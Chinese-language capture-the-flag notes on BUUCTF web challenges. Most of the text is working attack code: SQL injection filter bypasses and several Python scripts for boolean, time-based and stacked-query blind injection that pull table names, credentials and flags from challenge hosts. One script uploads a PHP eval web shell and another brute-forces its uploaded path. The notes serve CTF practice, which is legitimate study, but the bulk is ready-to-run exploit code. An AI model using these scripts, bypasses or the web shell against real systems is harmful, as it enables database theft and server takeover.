or updatexml extractvalu 被过滤,即information和报错注入无法使用
空格绕过使用/**/
1 2
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database() 等效于 select group_concat(table_name) from information_schema.tables where table_schema=database()
不使用列名查询
1
select group_concat(`3`) from(select 1,2,3 union select * from users)a
建立临时数据表进行查询 列名使用``进行引用，a即对临时表进行命名等效于as a
[WUSTCTF2020]颜值成绩查询
过滤空格
if判断
布尔盲注
[b01lers2020]Life on Mars
查询非所在库信息
1
select group_concat(schema_name) from information_schema.schemata (爆出所有库)
k=1 j=0 a="" while True: for i in range(32,126): url='http://89c5c00e-4c79-40dd-b84e-b5e495be37a5.node4.buuoj.cn:81/' data={'id':"0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={})".format(k,i)} res=requests.post(url=url,data=data) #print(data) if 'Nu1L' in res.text: print(chr(i)) a+=chr(i) k+=1 break if i ==125: print(a) j=j+1 k=1 a=""
a="" while True: for i in range(32,126): url='http://0974809b-d3d0-413e-b1f6-844c206c9582.node4.buuoj.cn:81/' a=a+chr(i) data={'id':"0||(select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh)".format(a)} res=requests.post(url=url,data=data) print(data) time.sleep(0.1) 需添加sleep，请求提交过快会产生ascii比较会产生错误 if 'Nu1L' in res.text: print(chr(i-1)) a=a[:-1] a+=chr(i-1) print(a) break else: a=a[:-1]
import requests import re a="" while True: for i in range(1,100): url="http://2add0335-c17b-45fb-b3b5-ef10f13be2e3.node4.buuoj.cn:81/" url1=url+'register.php' url2=url+'login.php' data1={'email':'2@1.{}'.format(i), 'username':"0'+ascii(substr(database() from {} for 1))+'0".format(i), substr中的','被过滤，利用from .. for ..绕过 'password':'a'} data2={'email':'2@1.{}'.format(i), 'password':'a'} res1=requests.post(url=url1,data=data1) res2=requests.post(url=url2,data=data2) r=re.search(r'<span class="user-name">\s*(\d*)\s*</span>',res2.text) s1=re.search(r'\d+',r.group()) a+=chr(int(s1.group())) print(a)
import requests import time import json def str_to_hex(s): return ''.join([hex(ord(c)).replace('0x', '') for c in s]) url="http://088660f8-a75a-4793-939d-cb18610c989c.node4.buuoj.cn:81/index.php?r=Login/Login" i=1 flag='' while True: d="admin';set @a=0x{0};prepare t from @a;execute t;" for j in range(32,128): da='select if(ascii(substr((select flag from flag),{},1))={},sleep(3),1)'.format(i,j) datas={'username':d.format(str_to_hex(da)),'password':'admin'} data=json.dumps(datas) time1=time.time() res=requests.post(url=url,data=data) time2=time.time() if time2-time1>=3: flag+=chr(j) i+=1 print(flag) break
import requests import time i=1 flag="" while True: for j in range(32,126): url='http://cc79099c-2565-4523-8f0e-6599d4faef99.node4.buuoj.cn:81/backend/content_detail.php?id=1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={})'.format(i,j) res=requests.get(url) time.sleep(1) if "title" in res.text: flag=flag+chr(j) print(flag) i+=1 break # admin,contents while True: for j in range(32,126): url="http://9f6ae375-004d-4d2c-a378-59fc8cc043da.node4.buuoj.cn:81/backend/content_detail.php?id=1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{},1))={})".format(i,j) res=requests.get(url) time.sleep(0.1) if "title" in res.text: flag=flag+chr(j) print(flag) i+=1 break # id,username,password,is_enable while True: for j in range(32,126): url="http://9f6ae375-004d-4d2c-a378-59fc8cc043da.node4.buuoj.cn:81/backend/content_detail.php?id=1^1^(ascii(substr((select(group_concat(username,0x3a,password))from(admin)),{},1))={})".format(i,j) res=requests.get(url) time.sleep(0.1) if "title" in res.text: flag=flag+chr(j) print(flag) i+=1 break # a338056f:89423ab8,0e9074ea:74a1cffd
import requests import base64 import string import time url = "http://39f25f23-8a3f-4c07-a3cd-71c4a6bf1fe7.node4.buuoj.cn:81/sequels" flag = '' while True: for i in string.printable: time.sleep(0.1) tmp = flag + i u = r'\" or EXISTS(SELECT name from sqlite_master where name like \"{}\" limit 1) or \"'.format( tmp + '%') payload = '{"username":"%s","password":"guest"}' % u # print(payload) cookies = {"1337_AUTH": base64.b64encode(payload.encode('utf-8')).decode('utf-8')} res = requests.get(url, cookies=cookies) if "Movie" in res.text: flag = tmp print(flag) break
这里爆出用户和密码后即可进行登录获得flag
[SWPU2019]Web6
打开题目，测试登录
发现当构造 ‘ or 1=2# 和 ‘ or 1=1#时两次回显不同，根据此不同可以构造脚本，但这里用一个新的方法 with rollup
for i in range(291187,504049): s=hex(i) s=s[2:] url = "http://31cfa104-d20b-45b8-9cef-bd36d9591ab7.node4.buuoj.cn:81/Public/Uploads/2023-12-11/6576fd1d"+s+".php" r = requests.get(url) print(s) if r.status_code == 200: print(url) break elif r.status_code == 429: time.sleep(0.1)
或者用
1 2 3 4 5
url = "http://e4a34d57-63ea-4549-b36d-99c987a2b245.node4.buuoj.cn:81/index.php/home/index/upload/" s = requests.Session() （创建实例） files = {"file": ("shell.<>php", "<?php eval($_GET['a'])?>")} （{"file":("文件名","文件内容")}） r = requests.post(url, files=files) print(r.text)
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
// check whether file is uploaded if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) { error('No file was uploaded.'); }
// check file size if ($_FILES['file']['size'] > 256000) { error('Uploaded file is too large.'); }
// check file type $finfo = finfo_open(FILEINFO_MIME_TYPE); $type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); if (!in_array($type, ['image/png'])) { error('Uploaded file is not PNG format.'); }
// check file width/height $size = getimagesize($_FILES['file']['tmp_name']); if ($size[0] > 256 || $size[1] > 256) { error('Uploaded image is too large.'); } if ($size[2] !== IMAGETYPE_PNG) { // I hope this never happens... error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>'); }
if ($size[2] !== IMAGETYPE_PNG) { // I hope this never happens... error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>'); }
